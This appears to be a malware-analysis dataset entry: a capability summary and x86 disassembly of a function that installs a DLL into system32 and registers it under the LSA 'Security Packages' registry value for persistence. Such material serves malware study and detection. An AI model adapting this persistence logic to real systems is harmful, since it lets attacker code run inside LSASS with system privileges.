Function at 0x1001bab0
Capabilities:
Get common file path
Get file attributes
Move file
Persist via lsa registry key
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x43c
mov eax, dword [0x100812a0]
xor eax, esp
mov dword [esp + 0x438], eax
mov eax, dword [esp + 0x440]
push ebp
lea edx, [esp + 0xc]
push edx
push str.SYSTEMCurrentControlSetControlLsa
xor ebp, ebp
push closesocket
mov dword [esp + 0x1c], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x18], ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
cmp eax, ebp
je 0x1001bafe
cmp eax, 0xb7
jne 0x1001bfbe
mov edx, dword [esp + 0xc]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [esp + 0x1c]
push eax
push ebp
lea ecx, [esp + 0x30]
push ecx
push ebp
push str.Security_Packages
push edx
mov dword [esp + 0x34], ebp
mov dword [esp + 0x40], 7
call edi
cmp eax, ebp
jne 0x1001bfbd
push ebx
push esi
mov esi, dword [esp + 0x24]
add esi, 2
push esi
call fcn.10020596
mov ebx, eax
add esp, 4
mov dword [esp + 0x28], ebx
cmp ebx, ebp
je 0x1001bbd8
push esi
push ebp
push ebx
call fcn.10025370
mov edx, dword [esp + 0x24]
add esp, 0xc
lea eax, [esp + 0x24]
push eax
push ebx
lea ecx, [esp + 0x38]
push ecx
push ebp
push str.Security_Packages
push edx
call edi
mov esi, eax
mov dword [esp + 0x2c], esi
cmp esi, ebp
je 0x1001bba1
cmp esi, 0xb7
je 0x1001bba1
push ebx
call fcn.100201f7
mov eax, dword [esp + 0x1c]
add esp, 4
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x1001bfbb
mov eax, dword [esp + 0x24]
mov ecx, eax
lea esi, [eax + 0x82]
shr ecx, 1
push esi
mov dword [esp + 0x24], ecx
call fcn.10020596
add esp, 4
mov dword [esp + 0x14], eax
cmp eax, ebp
jne 0x1001bbe2
push ebx
call fcn.100201f7
mov ecx, dword [esp + 0x1c]
add esp, 4
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 8
jmp 0x1001bfbb
push esi
mov edx, eax
push 0
push edx
call fcn.10025370
xor edi, edi
add esp, 0xc
xor ebp, ebp
xor bl, bl
mov byte [esp + 0x13], 0
cmp dword [esp + 0x20], edi
jle 0x1001bd01
jmp 0x1001bc10
mov eax, dword [esp + 0x28]
lea esi, [eax + ebp*2]
push str.msv1_0
push esi
call fcn.10027a1b
add esp, 8
test eax, eax
je 0x1001bca2
push str.msv1_0.dll
push esi
call fcn.10027a1b
add esp, 8
test eax, eax
je 0x1001bca2
mov ecx, dword [esp + 0x1c]
push ecx
push esi
call fcn.10027a1b
lea edx, [edi + edi]
sub edx, esi
add edx, dword [esp + 0x1c]
add esp, 8
test eax, eax
mov eax, esi
jne 0x1001bc81
mov bl, 1
mov byte [esp + 0x13], bl
mov edi, edi
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x1001bc60
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x1001bc74
jmp 0x1001bcd2
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x1001bc81
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x1001bc95
jmp 0x1001bcd2
mov eax, dword [esp + 0x1c]
lea edx, [edi + edi]
sub edx, eax
add edx, dword [esp + 0x14]
mov bl, 1
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x1001bcb1
mov eax, dword [esp + 0x1c]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x1001bcc7
sub eax, edx
sar eax, 1
lea edi, [edi + eax + 1]
mov eax, esi
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x1001bce0
sub eax, edx
sar eax, 1
lea ebp, [eax + ebp + 1]
cmp ebp, dword [esp + 0x20]
jl 0x1001bc10
test bl, bl
jne 0x1001bd43
mov esi, dword [esp + 0x1c]
mov ecx, dword [esp + 0x14]
lea edx, [edi + edi]
sub edx, esi
mov eax, esi
lea edx, [edx + ecx - 2]
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x1001bd14
mov eax, esi
lea edx, [eax + 2]
jmp 0x1001bd30
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x1001bd30
sub eax, edx
sar eax, 1
lea edi, [edi + eax + 1]
cmp byte [esp + 0x13], 0
lea ebp, [edi + edi]
jne 0x1001bf89
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.IsWow64Process
push str.kernel32.dll
call edi
push eax
call fcn.1000e840
mov esi, eax
xor ebx, ebx
add esp, 8
cmp esi, ebx
je 0x1001bde2
lea edx, [esp + 0x20]
push edx
mov dword [esp + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
test eax, eax
je 0x1001bde2
cmp dword [esp + 0x20], ebx
je 0x1001bde2
push str.Wow64DisableWow64FsRedirection
push str.kernel32.dll
mov dword [esp + 0x34], ebx
call edi
push eax
call fcn.1000e840
add esp, 8
cmp eax, ebx
je 0x1001bde2
lea ecx, [esp + 0x2c]
push ecx
call eax
test eax, eax
jne 0x1001bde2
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x28]
push eax
call fcn.100201f7
mov ecx, dword [esp + 0x18]
push ecx
call fcn.100201f7
add esp, 8
lea eax, [ebx + 5]
jmp 0x1001bfbb
push 0x104
lea edx, [esp + 0x3c]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
jle 0x1001bf82
lea eax, [esp + 0x38]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x1001be01
mov ecx, dword [str._system32_]
mov edx, dword [0x1007f01c]
mov dword [eax], ecx
mov ecx, dword [0x1007f020]
mov dword [eax + 4], edx
mov edx, dword [0x1007f024]
mov dword [eax + 8], ecx
mov ecx, dword [0x1007f028]
mov dword [eax + 0xc], edx
mov dx, word [0x1007f02c]
mov dword [eax + 0x10], ecx
mov word [eax + 0x14], dx
mov eax, dword [esp + 0x1c]
mov edx, eax
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x1001be50
lea edi, [esp + 0x38]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x1001be64
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x38]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x1001be90
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x1001be90
mov ecx, dword [str..dll]
mov edx, dword [0x1007f034]
mov esi, dword [esp + 0x454]
mov edi, dword [esp + 0x34]
mov dword [eax], ecx
mov cx, word [0x1007f038]
mov dword [eax + 4], edx
mov word [eax + 8], cx
push esi
push edi
lea eax, [esp + 0x40]
call fcn.1001ba30
add esp, 8
test eax, eax
jg 0x1001bf4d
xor eax, eax
jmp 0x1001bee0
movzx ecx, word [esp + eax + 0x38]
mov word [esp + eax + 0x240], cx
add eax, 2
cmp cx, bx
jne 0x1001bee0
lea eax, [esp + 0x240]
add eax, 0xfffffffe
nop
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x1001bf00
mov edx, dword [str..old]
mov ecx, dword [0x1007f040]
mov dword [eax], edx
mov dx, word [0x1007f044]
mov dword [eax + 4], ecx
mov word [eax + 8], dx
lea eax, [esp + 0x240]
push eax
lea ecx, [esp + 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push esi
push edi
lea eax, [esp + 0x40]
call fcn.1001ba30
add esp, 8
test eax, eax
jle 0x1001bf82
lea edx, [esp + 0x38]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test eax, eax
je 0x1001bf82
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
push ebp
push eax
push 7
push ebx
push str.Security_Packages
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
cmp esi, ebx
jne 0x1001bf8d
mov byte [esp + 0x13], 1
jmp 0x1001bf8d
mov esi, 5
jmp 0x1001bf8d
mov esi, dword [esp + 0x2c]
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x28]
push eax
call fcn.100201f7
mov ecx, dword [esp + 0x18]
push ecx
call fcn.100201f7
xor eax, eax
add esp, 8
cmp byte [esp + 0x13], al
setne al
dec eax
and eax, esi
pop esi
pop ebx
pop edi
mov ecx, dword [esp + 0x43c]
pop ebp
xor ecx, esp
call fcn.100201e8
add esp, 0x43c
ret